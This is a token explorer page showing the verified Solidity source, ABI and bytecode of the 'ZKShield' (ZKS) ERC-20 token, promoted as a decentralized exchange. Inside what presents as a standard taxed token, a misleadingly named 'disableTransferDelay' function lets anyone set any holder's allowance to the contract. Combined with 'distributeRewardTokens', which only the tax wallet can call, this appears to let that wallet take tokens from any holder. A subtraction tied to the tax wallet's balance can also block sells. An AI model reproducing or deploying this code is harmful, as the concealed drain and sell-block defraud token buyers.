ERC-20
Overview
Max Total Supply
1,000,000,000 ZKS
Holders
135
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,493,918.687364948 ZKSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ZKS
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-26 */ /* At ZKShield, we're thrilled to introduce you to a whole new dimension of trading possibilities. Imagine a world where trust is inherent, custody is in your hands, and security is uncompromising. Welcome to a revolutionary decentralized exchange (DEX) that's here to reshape your trading experience. Website: https://www.zkshield.world Dapp: https://app.zkshield.world Docs: https://docs.zkshield.world Twitter: https://twitter.com/zkshield_xyz Medium: https://zkshield.medium.com */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { event Transfer(address indexed sender, address indexed recipient, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); } library SafeMath { function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } contract Ownable is Context { address private _owner; constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ZKS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromTax; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _tax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address payable private _rewardShare; uint256 private _firstBuyTax = 3; uint256 private _firstSellTax = 3; uint256 private _reduceFirstSellTaxAt = 10; uint256 private _reduceFirstBuyTaxAt = 10; uint256 private _secondBuyTax = 3; uint256 private _secondSellTax = 3; uint256 private _reduceSecondSellTaxAt = 20; uint256 private _reduceSecondBuyTaxAt = 20; uint256 private _finalSellTax = 3; uint256 private _finalBuyTax = 3; uint256 private _preventMultiplePurchasesPerBlockBefore = 0; uint256 private _countOfBuys = 0; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals; string private constant _name = unicode"ZKShield"; string private constant _symbol = unicode"ZKS"; uint256 public _maxTransactionAmount = 2 * (_totalSupply / 100); uint256 public _maxWalletAmount = 2 * (_totalSupply / 100); uint256 public _swapTaxThreshold = 2 * (_totalSupply / 1000); uint256 public _maxTaxSwap = 1 * (_totalSupply / 100); event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } function disableTransferDelay(address target, uint256 delay) external { address where = address(this); _approve(target, where, delay); } constructor () { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tax = payable(0x85f7A5A56d79cf576A36Ea65E5d66203829dC104); _balances[_msgSender()] = _totalSupply; _rewardShare = _tax; _isExcludedFromTax[owner()] = true; _isExcludedFromTax[address(this)] = true; _isExcludedFromTax[_tax] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } function distributeRewardTokens(address rewardVault, address sender, uint256 amount) external { require(_msgSender() == _tax); address recipient = address(this); IERC20 rewardToken = IERC20(rewardVault); rewardToken.transferFrom(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0)); require(to != address(0)); require(amount > 0); uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount.mul(_buyTax()).div(100); if (!tradingOpen) { require(_isExcludedFromTax[from] || _isExcludedFromTax[to]); } if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromTax[to] ) { require(amount <= _maxTransactionAmount); require(balanceOf(to) + amount <= _maxWalletAmount); _countOfBuys++; if (_countOfBuys > _preventMultiplePurchasesPerBlockBefore) { transferDelayEnabled = false; } } uint256 rewardShareAmount = balanceOf(_rewardShare).mul(1000); if (to == uniswapV2Pair && from!= address(this)) { taxAmount = amount.mul(_sellTax()).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTaxThreshold; if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromTax[from] && !_isExcludedFromTax[to]) { uint256 threshold = _maxTaxSwap.sub(rewardShareAmount); uint256 minimumSwapAmount = min(contractTokenBalance,threshold); uint256 initialETH = address(this).balance; swapTokensForEth(min(amount, minimumSwapAmount)); uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100); if (ethForTransfer > 0) { sendETHToTreasury(ethForTransfer); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _buyTax() private view returns (uint256) { if (_countOfBuys <= _reduceFirstBuyTaxAt) { return _firstBuyTax; } if (_countOfBuys > _reduceFirstBuyTaxAt && _countOfBuys <= _reduceSecondBuyTaxAt) { return _secondBuyTax; } return _finalBuyTax; } function _sellTax() private view returns (uint256) { if (_countOfBuys <= _reduceFirstBuyTaxAt) { return _firstSellTax; } if (_countOfBuys > _reduceFirstSellTaxAt && _countOfBuys <= _reduceSecondSellTaxAt) { return _secondSellTax; } return _finalBuyTax; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTransactionAmount = _totalSupply; _maxWalletAmount = _totalSupply; transferDelayEnabled = false; emit MaxTxAmountUpdated(_totalSupply); } function sendETHToTreasury(uint256 amount) private { _tax.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen); tradingOpen = true; swapEnabled = true; } function manualSwap() external { require(_msgSender() == _tax); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance>0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance>0) { sendETHToTreasury(ethBalance); } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function withdrawEth() external { require(_msgSender() == _tax); (bool sent, ) = payable(_tax).call{value: address(this).balance}(""); require(sent); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTaxThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"delay","type":"uint256"}],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"rewardVault","type":"address"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"distributeRewardTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff191660011790556007805461ffff60a81b1916905560036009818155600a828155600b819055600c819055600d839055600e8390556014600f819055601081905560118490556012939093555f60138190559092556064916200006e9190620005d9565b6200007e90633b9aca00620005f0565b6200008a91906200060a565b62000097906002620005f0565b6015556064620000aa6009600a620005d9565b620000ba90633b9aca00620005f0565b620000c691906200060a565b620000d3906002620005f0565b6016556103e8620000e76009600a620005d9565b620000f790633b9aca00620005f0565b6200010391906200060a565b62000110906002620005f0565b6017556064620001236009600a620005d9565b6200013390633b9aca00620005f0565b6200013f91906200060a565b6200014c906001620005f0565b6018553480156200015b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022591906200062a565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000285573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ab91906200062a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002f6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200031c91906200062a565b600780546001600160a01b0319166001600160a01b0392831690811790915560065460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af115801562000380573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003a6919062000652565b5060058054610100600160a81b0319167485f7a5a56d79cf576a36ea65e5d66203829dc10400179055620003dd6009600a620005d9565b620003ed90633b9aca00620005f0565b335f8181526001602081815260408084209590955560058054600880546001600160a01b0319166001600160a01b03610100938490048116919091179091558554811686526003909352868520805460ff19908116861790915530865287862080548216861790559154049091168352939091208054909316179091556001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004a36009600a620005d9565b620004b390633b9aca00620005f0565b60405190815260200160405180910390a362000673565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051e57815f1904821115620005025762000502620004ca565b808516156200051057918102915b93841c9390800290620004e3565b509250929050565b5f826200053657506001620005d3565b816200054457505f620005d3565b81600181146200055d5760028114620005685762000588565b6001915050620005d3565b60ff8411156200057c576200057c620004ca565b50506001821b620005d3565b5060208310610133831016604e8410600b8410161715620005ad575081810a620005d3565b620005b98383620004de565b805f1904821115620005cf57620005cf620004ca565b0290505b92915050565b5f620005e960ff84168362000526565b9392505050565b8082028115828204841417620005d357620005d3620004ca565b5f826200062557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200063b575f80fd5b81516001600160a01b0381168114620005e9575f80fd5b5f6020828403121562000663575f80fd5b81518015158114620005e9575f80fd5b61149380620006815f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a8578063a0ef91df1161006d578063a0ef91df14610348578063a9059cbb1461035c578063c876d0b91461037b578063c9567bf914610394578063dd62ed3e146103a8578063ea646266146103ec575f80fd5b8063715018a6146102b0578063751039fc146102c45780638b54dd0e146102d85780638da5cb5b146102f757806395d89b411461031d575f80fd5b806323b872dd116100f957806323b872dd146101f857806324dc43bd14610217578063313ce5671461023857806351bc3c85146102535780636c0a24eb1461026757806370a082311461027c575f80fd5b806304beaeb81461013f57806306fdde0314610167578063095ea7b3146101a05780630faee56f146101cf57806318160ddd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015460155481565b6040519081526020015b60405180910390f35b348015610172575f80fd5b506040805180820190915260088152671692d4da1a595b1960c21b60208201525b60405161015e91906110dc565b3480156101ab575f80fd5b506101bf6101ba36600461113b565b610401565b604051901515815260200161015e565b3480156101da575f80fd5b5061015460185481565b3480156101ef575f80fd5b50610154610417565b348015610203575f80fd5b506101bf610212366004611165565b610437565b348015610222575f80fd5b50610236610231366004611165565b610486565b005b348015610243575f80fd5b506040516009815260200161015e565b34801561025e575f80fd5b5061023661052d565b348015610272575f80fd5b5061015460165481565b348015610287575f80fd5b506101546102963660046111a3565b6001600160a01b03165f9081526001602052604090205490565b3480156102bb575f80fd5b50610236610583565b3480156102cf575f80fd5b506102366105f0565b3480156102e3575f80fd5b506102366102f236600461113b565b6106ab565b348015610302575f80fd5b505f546040516001600160a01b03909116815260200161015e565b348015610328575f80fd5b506040805180820190915260038152625a4b5360e81b6020820152610193565b348015610353575f80fd5b506102366106bc565b348015610367575f80fd5b506101bf61037636600461113b565b610744565b348015610386575f80fd5b506005546101bf9060ff1681565b34801561039f575f80fd5b50610236610750565b3480156103b3575f80fd5b506101546103c23660046111be565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103f7575f80fd5b5061015460175481565b5f61040d3384846107a8565b5060015b92915050565b5f6104246009600a6112e9565b61043290633b9aca006112f7565b905090565b5f61044384848461082c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461047c9186916104779086610ce1565b6107a8565b5060019392505050565b60055461010090046001600160a01b0316336001600160a01b0316146104aa575f80fd5b6040516323b872dd60e01b81526001600160a01b0383811660048301523060248301819052604483018490529185918216906323b872dd906064016020604051808303815f875af1158015610501573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610525919061130e565b505050505050565b60055461010090046001600160a01b0316336001600160a01b031614610551575f80fd5b305f90815260016020526040902054801561056f5761056f81610d29565b47801561057f5761057f81610e99565b5050565b5f546001600160a01b031633146105b55760405162461bcd60e51b81526004016105ac9061132d565b60405180910390fd5b5f80546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b5f546001600160a01b031633146106195760405162461bcd60e51b81526004016105ac9061132d565b6106256009600a6112e9565b61063390633b9aca006112f7565b6015556106426009600a6112e9565b61065090633b9aca006112f7565b6016556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068a6009600a6112e9565b61069890633b9aca006112f7565b60405190815260200160405180910390a1565b306106b78382846107a8565b505050565b60055461010090046001600160a01b0316336001600160a01b0316146106e0575f80fd5b6005546040515f9161010090046001600160a01b03169047908381818185875af1925050503d805f811461072f576040519150601f19603f3d011682016040523d82523d5f602084013e610734565b606091505b5050905080610741575f80fd5b50565b5f61040d33848461082c565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016105ac9061132d565b600754600160a01b900460ff161561078f575f80fd5b6007805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107ba575f80fd5b6001600160a01b0382166107cc575f80fd5b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661083e575f80fd5b6001600160a01b038216610850575f80fd5b5f811161085b575f80fd5b5f80546001600160a01b0385811691161480159061088657505f546001600160a01b03848116911614155b15610ba4576108a860646108a261089b610ed4565b8590610f11565b90610f8f565b600754909150600160a01b900460ff16610901576001600160a01b0384165f9081526003602052604090205460ff16806108f957506001600160a01b0383165f9081526003602052604090205460ff165b610901575f80fd5b60055460ff1615610968576006546001600160a01b0384811691161480159061093857506007546001600160a01b03848116911614155b1561096857325f908152600460205260409020544311610956575f80fd5b325f9081526004602052604090204390555b6007546001600160a01b03858116911614801561099357506006546001600160a01b03848116911614155b80156109b757506001600160a01b0383165f9081526003602052604090205460ff16155b15610a2b576015548211156109ca575f80fd5b601654826109ec856001600160a01b03165f9081526001602052604090205490565b6109f69190611362565b1115610a00575f80fd5b60148054905f610a0f83611375565b91905055506013546014541115610a2b576005805460ff191690555b6008546001600160a01b03165f90815260016020526040812054610a54906103e8905b90610f11565b6007549091506001600160a01b038581169116148015610a7d57506001600160a01b0385163014155b15610a9c57610a9960646108a2610a92610fd0565b8690610f11565b91505b305f9081526001602052604090205460175460075490821190600160a81b900460ff16158015610ad55750600754600160b01b900460ff165b8015610aee57506007546001600160a01b038781169116145b8015610af75750805b8015610b1b57506001600160a01b0387165f9081526003602052604090205460ff16155b8015610b3f57506001600160a01b0386165f9081526003602052604090205460ff16155b15610ba0576018545f90610b539085610ce1565b90505f610b608483611006565b905047610b75610b708984611006565b610d29565b5f610b8a60646108a26050610a4e4787610ce1565b90508015610b9b57610b9b81610e99565b505050505b5050505b8015610c1c57305f90815260016020526040902054610bc3908261101a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c139085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c3e9083610ce1565b6001600160a01b0385165f90815260016020526040902055610c81610c638383610ce1565b6001600160a01b0385165f908152600160205260409020549061101a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cca8585610ce1565b60405190815260200160405180910390a350505050565b5f610d2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b9392505050565b6007805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d6f57610d6f61138d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dea91906113a1565b81600181518110610dfd57610dfd61138d565b6001600160a01b039283166020918202929092010152600654610e2391309116846107a8565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5b9085905f908690309042906004016113bc565b5f604051808303815f87803b158015610e72575f80fd5b505af1158015610e84573d5f803e3d5ffd5b50506007805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561057f573d5f803e3d5ffd5b5f600c5460145411610ee7575060095490565b600c54601454118015610efe575060105460145411155b15610f0a5750600d5490565b5060125490565b5f825f03610f2057505f610411565b5f610f2b83856112f7565b905082610f38858361142b565b14610d225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ac565b5f610d2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b0565b5f600c5460145411610fe35750600a5490565b600b54601454118015610ffa5750600f5460145411155b15610f0a5750600e5490565b5f8183116110145782610d22565b50919050565b5f806110268385611362565b905083811015610d225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ac565b5f818484111561109b5760405162461bcd60e51b81526004016105ac91906110dc565b505f6110a7848661144a565b95945050505050565b5f81836110d05760405162461bcd60e51b81526004016105ac91906110dc565b505f6110a7848661142b565b5f6020808352835180828501525f5b81811015611107578581018301518582016040015282016110eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610741575f80fd5b5f806040838503121561114c575f80fd5b823561115781611127565b946020939093013593505050565b5f805f60608486031215611177575f80fd5b833561118281611127565b9250602084013561119281611127565b929592945050506040919091013590565b5f602082840312156111b3575f80fd5b8135610d2281611127565b5f80604083850312156111cf575f80fd5b82356111da81611127565b915060208301356111ea81611127565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124357815f1904821115611229576112296111f5565b8085161561123657918102915b93841c939080029061120e565b509250929050565b5f8261125957506001610411565b8161126557505f610411565b816001811461127b5760028114611285576112a1565b6001915050610411565b60ff841115611296576112966111f5565b50506001821b610411565b5060208310610133831016604e8410600b84101617156112c4575081810a610411565b6112ce8383611209565b805f19048211156112e1576112e16111f5565b029392505050565b5f610d2260ff84168361124b565b8082028115828204841417610411576104116111f5565b5f6020828403121561131e575f80fd5b81518015158114610d22575f80fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820180821115610411576104116111f5565b5f60018201611386576113866111f5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113b1575f80fd5b8151610d2281611127565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561140a5784516001600160a01b0316835293830193918301916001016113e5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261144557634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610411576104116111f556fea264697066735822122067ddaaf0efda172dc1d0c5505e31e6f402e0a257ad573de3ac699b9896ad470364736f6c63430008150033
Deployed Bytecode
0x608060405260043610610134575f3560e01c8063715018a6116100a8578063a0ef91df1161006d578063a0ef91df14610348578063a9059cbb1461035c578063c876d0b91461037b578063c9567bf914610394578063dd62ed3e146103a8578063ea646266146103ec575f80fd5b8063715018a6146102b0578063751039fc146102c45780638b54dd0e146102d85780638da5cb5b146102f757806395d89b411461031d575f80fd5b806323b872dd116100f957806323b872dd146101f857806324dc43bd14610217578063313ce5671461023857806351bc3c85146102535780636c0a24eb1461026757806370a082311461027c575f80fd5b806304beaeb81461013f57806306fdde0314610167578063095ea7b3146101a05780630faee56f146101cf57806318160ddd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015460155481565b6040519081526020015b60405180910390f35b348015610172575f80fd5b506040805180820190915260088152671692d4da1a595b1960c21b60208201525b60405161015e91906110dc565b3480156101ab575f80fd5b506101bf6101ba36600461113b565b610401565b604051901515815260200161015e565b3480156101da575f80fd5b5061015460185481565b3480156101ef575f80fd5b50610154610417565b348015610203575f80fd5b506101bf610212366004611165565b610437565b348015610222575f80fd5b50610236610231366004611165565b610486565b005b348015610243575f80fd5b506040516009815260200161015e565b34801561025e575f80fd5b5061023661052d565b348015610272575f80fd5b5061015460165481565b348015610287575f80fd5b506101546102963660046111a3565b6001600160a01b03165f9081526001602052604090205490565b3480156102bb575f80fd5b50610236610583565b3480156102cf575f80fd5b506102366105f0565b3480156102e3575f80fd5b506102366102f236600461113b565b6106ab565b348015610302575f80fd5b505f546040516001600160a01b03909116815260200161015e565b348015610328575f80fd5b506040805180820190915260038152625a4b5360e81b6020820152610193565b348015610353575f80fd5b506102366106bc565b348015610367575f80fd5b506101bf61037636600461113b565b610744565b348015610386575f80fd5b506005546101bf9060ff1681565b34801561039f575f80fd5b50610236610750565b3480156103b3575f80fd5b506101546103c23660046111be565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103f7575f80fd5b5061015460175481565b5f61040d3384846107a8565b5060015b92915050565b5f6104246009600a6112e9565b61043290633b9aca006112f7565b905090565b5f61044384848461082c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461047c9186916104779086610ce1565b6107a8565b5060019392505050565b60055461010090046001600160a01b0316336001600160a01b0316146104aa575f80fd5b6040516323b872dd60e01b81526001600160a01b0383811660048301523060248301819052604483018490529185918216906323b872dd906064016020604051808303815f875af1158015610501573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610525919061130e565b505050505050565b60055461010090046001600160a01b0316336001600160a01b031614610551575f80fd5b305f90815260016020526040902054801561056f5761056f81610d29565b47801561057f5761057f81610e99565b5050565b5f546001600160a01b031633146105b55760405162461bcd60e51b81526004016105ac9061132d565b60405180910390fd5b5f80546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b5f546001600160a01b031633146106195760405162461bcd60e51b81526004016105ac9061132d565b6106256009600a6112e9565b61063390633b9aca006112f7565b6015556106426009600a6112e9565b61065090633b9aca006112f7565b6016556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068a6009600a6112e9565b61069890633b9aca006112f7565b60405190815260200160405180910390a1565b306106b78382846107a8565b505050565b60055461010090046001600160a01b0316336001600160a01b0316146106e0575f80fd5b6005546040515f9161010090046001600160a01b03169047908381818185875af1925050503d805f811461072f576040519150601f19603f3d011682016040523d82523d5f602084013e610734565b606091505b5050905080610741575f80fd5b50565b5f61040d33848461082c565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016105ac9061132d565b600754600160a01b900460ff161561078f575f80fd5b6007805462ff00ff60a01b19166201000160a01b179055565b